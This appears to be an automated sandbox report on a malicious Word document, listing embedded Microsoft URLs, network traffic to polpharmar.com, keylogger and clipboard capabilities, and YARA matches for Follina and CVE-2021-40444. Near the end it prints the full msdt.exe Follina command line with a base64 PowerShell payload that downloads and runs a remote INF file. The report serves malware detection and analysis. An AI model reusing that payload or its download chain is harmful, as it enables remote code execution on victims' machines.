Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://cortana.ai/api
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://cr.office.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://dataservice.o365filtering.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://dataservice.o365filtering.com/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://dev.cortana.ai
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://devnull.onenote.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://directory.services.
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://edu-mathreco-prod.trafficmanager.net
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://edu-mathsolver-prod.trafficmanager.net
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://enrichment.osi.office.net/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://entitlement.diagnostics.office.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://graph.ppe.windows.net
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://graph.ppe.windows.net/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://graph.windows.net
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://graph.windows.net/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?secureurl=1
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://incidents.diagnostics.office.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://inclient.store.office.com/gyro/client
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://invites.office.com/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://lifecycle.office.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://login.microsoftonline.com/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://login.windows.local
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://management.azure.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://management.azure.com/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://messaging.action.office.com/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://messaging.action.office.com/setcampaignaction
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://messaging.action.office.com/setuseraction16
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://messaging.engagement.office.com/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://messaging.engagement.office.com/campaignmetadataaggregator
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://messaging.lifecycle.office.com/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://messaging.lifecycle.office.com/getcustommessage16
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://messaging.office.com/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://ncus.contentsync.
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://ncus.pagecontentsync.
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://officeapps.live.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://onedrive.live.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://onedrive.live.com/embed?
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://osi.office.net
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://otelrules.azureedge.net
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://outlook.office.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://outlook.office.com/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://outlook.office365.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://outlook.office365.com/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://pages.store.office.com/review/query
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://powerlift.acompli.net
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://prod.mds.office.com/mds/api/v1.0/clientmodeldirectory
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://roaming.edog.
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://settings.outlook.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://shell.suite.office.com:1443
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://skyapi.live.net/Activity/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://staging.cortana.ai
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://store.office.cn/addinstemplate
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://store.office.de/addinstemplate
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://tasks.office.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://web.microsoftstream.com/video/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://webshell.suite.office.com
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://wus2.contentsync.
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://wus2.pagecontentsync.
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 22341FA3-09A5-4979-A468-D40459F9B660.1.dr String found in binary or memory: https://www.odwebp.svc.ms
Source: unknown DNS traffic detected: queries for: polpharmar.com
Source: global traffic HTTP traffic detected: GET /test.html HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office; MSOffice 16)Accept-Encoding: gzip, deflateHost: polpharmar.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /test.html HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office; MSOffice 16)Accept-Encoding: gzip, deflateHost: polpharmar.comIf-Modified-Since: Sun, 31 Jul 2022 09:45:54 GMTConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /test.inf HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: polpharmar.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /PO.exe HTTP/1.1Connection: Keep-AliveHost: polpharmar.com
Source: global traffic HTTP traffic detected: GET /yeh746yrhuey7657ujjif87589fif8jjfut765hdy65hyr8889jguy/Cotwthzqsjyogagwjqrnikigtffzwgf HTTP/1.1User-Agent: lValiHost: polpharmar.com
Source: global traffic HTTP traffic detected: GET /yeh746yrhuey7657ujjif87589fif8jjfut765hdy65hyr8889jguy/Cotwthzqsjyogagwjqrnikigtffzwgf HTTP/1.1User-Agent: 65Host: polpharmar.comCache-Control: no-cache
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0042ED7C GetClipboardData,CopyEnhMetaFileA,GetEnhMetaFileHeader, 36_2_0042ED7C
Contains functionality to record screenshots
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0042F490 GetObjectA,GetDC,CreateCompatibleDC,CreateBitmap,CreateCompatibleBitmap,GetDeviceCaps,GetDeviceCaps,SelectObject,GetDIBColorTable,GetDIBits,SelectObject,CreateDIBSection,GetDIBits,SelectObject,SelectPalette,RealizePalette,FillRect,SetTextColor,SetBkColor,SetDIBColorTable,PatBlt,CreateCompatibleDC,SelectObject,SelectPalette,RealizePalette,SetTextColor,SetBkColor,BitBlt,SelectPalette,SelectObject,DeleteDC,SelectPalette, 36_2_0042F490
Yara detected Keylogger Generic
Source: Yara match File source: Process Memory Space: POtest.exe PID: 2272, type: MEMORYSTR
Contains functionality to retrieve information about pressed keystrokes
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0044F8EC GetMessagePos,GetKeyboardState, 36_2_0044F8EC
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0043C0E0 OpenClipboard,GlobalAlloc,GlobalLock,EmptyClipboard,SetClipboardData,GlobalUnlock, 36_2_0043C0E0
Yara signature match
Source: document.xml.rels, type: SAMPLE Matched rule: SUSP_Doc_WordXMLRels_May22 date = 2022-05-30, author = Tobias Michalski, Christian Burkard, Wojciech Cieslak, description = Detects a suspicious pattern in docx document.xml.rels file as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-06-20, hash = 62f262d180a5a48f89be19369a8425bec596bc6a02ed23100424930791ae3df0
Source: document.xml.rels, type: SAMPLE Matched rule: EXPL_CVE_2021_40444_Document_Rels_XML date = 2021-09-10, author = Jeremy Brown / @alteredbytes, description = Detects indicators found in weaponized documents that exploit CVE-2021-40444, reference = https://twitter.com/AlteredBytes/status/1435811407249952772
Source: 00000008.00000002.609038276.00000000027F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: Process Memory Space: msdt.exe PID: 1904, type: MEMORYSTR Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: Process Memory Space: POtest.exe PID: 2272, type: MEMORYSTR Matched rule: webshell_php_encoded_big date = 2021/02/07, author = Arnim Rupp, description = PHP webshell using some kind of eval with encoded blob to decode, score = 1d4b374d284c12db881ba42ee63ebce2759e0b14, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00402210 36_2_00402210
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_004736FC 36_2_004736FC
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0045FAE8 36_2_0045FAE8
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00443C18 36_2_00443C18
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: String function: 00406D9C appears 64 times
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: String function: 00404940 appears 54 times
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: String function: 00410420 appears 31 times
PE file does not import any functions
Source: DiagPackage.dll.mui.8.dr Static PE information: No import functions for PE file found
Source: DiagPackage.dll.8.dr Static PE information: No import functions for PE file found
PE file contains strange resources
Source: DiagPackage.dll.8.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DiagPackage.dll.8.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DiagPackage.dll.8.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: POtest.exe.35.dr Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: POtest.exe.35.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: POtest.exe.35.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Tries to load missing DLLs
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Section loaded: sfc.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Section loaded: archiveint.dll Jump to behavior
Source: order.docx Virustotal: Detection: 55%
Source: order.docx ReversingLabs: Detection: 69%
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: unknown Process created: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE C:\Program Files (x86)\Microsoft Office\Office16\MsoSync.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Windows\SysWOW64\msdt.exe C:\Windows\system32\msdt.exe" ms-msdt:/ID PcwdiAgnOSTiC -sKiP forCe -pArAm "IT_ReBRowseforfiLE=#Ja2Y IT_LaunchMethod=ContextMenu IT_BrowseForFile=W5A$(Iex($(IeX('[sYSTem.teXt.enCODinG]'+[cHar]58+[chAR]58+'uTf8.geTStRiNg([sYStem.CoNVErT]'+[char]58+[char]0x3A+'fRombASe64StRINg('+[CHar]0X22+'U1RPcC1Qck9jZXNTIC1mb1JjZSAtTmFNZSAnbXNkdCc7JEtZID0gYWRkLXRZUEUgLW1lbUJlcmRFRmluaVRJT04gJ1tEbGxJbXBvcnQoIlVSbG1vTi5EbEwiLCBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyIFIsc3RyaW5nIGJpTCxzdHJpbmcgdXdlLHVpbnQgUm5vLEludFB0ciB1Ryk7JyAtbkFtRSAiWXZRIiAtTkFtRVNQYUNlIEhLZyAtUGFzc1RocnU7ICRLWTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovL3BvbHBoYXJtYXIuY29tL3Rlc3QuaW5mIiwiJGVudjpBUFBEQVRBXHRlc3QuaW5mIiwwLDApO1NUYXJ0LXNMRWVQKDMpO1J1bkRsbDMyLkVYZSBhZHZwQWNLLmRsTCxMYXVuY2hJTkZTZWN0aW9uRXggIiRlTlY6QVBQREFUQVx0ZXN0LmluZiIsREVmQXVsdEluc1RBbGxfU0luZ2xFVVNFciwiJGVOdjpBUFBEQVRBXHRlc3QuaW5mIiw0LDA7U1RvUC1QUm9jRVNTIC1Gb3JDZSAtTmFNZSAnc2RpYWduaG9zdCc='+[CHar]34+'))'))))xW/../../../../../../../../../../../../../../../../.MsI
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3d50mnu3\3d50mnu3.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8FCE.tmp" "c:\Users\user\AppData\Local\Temp\3d50mnu3\CSCDC232D29FB9E414B97C7E48E45A16060.TMP"
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\w5csyjot\w5csyjot.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAC3F.tmp" "c:\Users\user\AppData\Local\Temp\w5csyjot\CSC6CDACC821E67439283A644DCB258474.TMP"
